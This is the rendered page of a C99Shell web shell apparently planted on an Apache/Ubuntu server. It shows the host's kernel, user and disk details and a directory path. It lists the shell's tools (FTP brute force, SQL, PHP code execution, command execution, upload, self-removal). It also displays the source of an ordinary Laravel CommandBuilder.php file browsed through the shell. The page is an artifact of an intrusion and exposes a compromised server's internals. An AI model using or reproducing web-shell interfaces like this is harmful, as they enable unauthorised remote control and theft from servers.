!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/console/Scheduling/   drwxr-xr-x
Free 13.31 GB of 57.97 GB (22.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CommandBuilder.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console\Scheduling;

use 
Illuminate\Console\Application;
use 
Illuminate\Support\ProcessUtils;

class 
CommandBuilder
{
    
/**
     * Build the command for the given event.
     *
     * @param  \Illuminate\Console\Scheduling\Event  $event
     * @return string
     */
    
public function buildCommand(Event $event)
    {
        if (
$event->runInBackground) {
            return 
$this->buildBackgroundCommand($event);
        }

        return 
$this->buildForegroundCommand($event);
    }

    
/**
     * Build the command for running the event in the foreground.
     *
     * @param  \Illuminate\Console\Scheduling\Event  $event
     * @return string
     */
    
protected function buildForegroundCommand(Event $event)
    {
        
$output ProcessUtils::escapeArgument($event->output);

        return 
$this->ensureCorrectUser(
            
$event$event->command.($event->shouldAppendOutput ' >> ' ' > ').$output.' 2>&1'
        
);
    }

    
/**
     * Build the command for running the event in the background.
     *
     * @param  \Illuminate\Console\Scheduling\Event  $event
     * @return string
     */
    
protected function buildBackgroundCommand(Event $event)
    {
        
$output ProcessUtils::escapeArgument($event->output);

        
$redirect $event->shouldAppendOutput ' >> ' ' > ';

        
$finished Application::formatCommandString('schedule:finish').' "'.$event->mutexName().'"';

        if (
windows_os()) {
            return 
'start /b cmd /v:on /c "('.$event->command.' & '.$finished.' ^!ERRORLEVEL^!)'.$redirect.$output.' 2>&1"';
        }

        return 
$this->ensureCorrectUser($event,
            
'('.$event->command.$redirect.$output.' 2>&1 ; '.$finished.' "$?") > '
            
.ProcessUtils::escapeArgument($event->getDefaultOutput()).' 2>&1 &'
        
);
    }

    
/**
     * Finalize the event's command syntax with the correct user.
     *
     * @param  \Illuminate\Console\Scheduling\Event  $event
     * @param  string  $command
     * @return string
     */
    
protected function ensureCorrectUser(Event $event$command)
    {
        return 
$event->user && ! windows_os() ? 'sudo -u '.$event->user.' -- sh -c \''.$command.'\'' $command;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--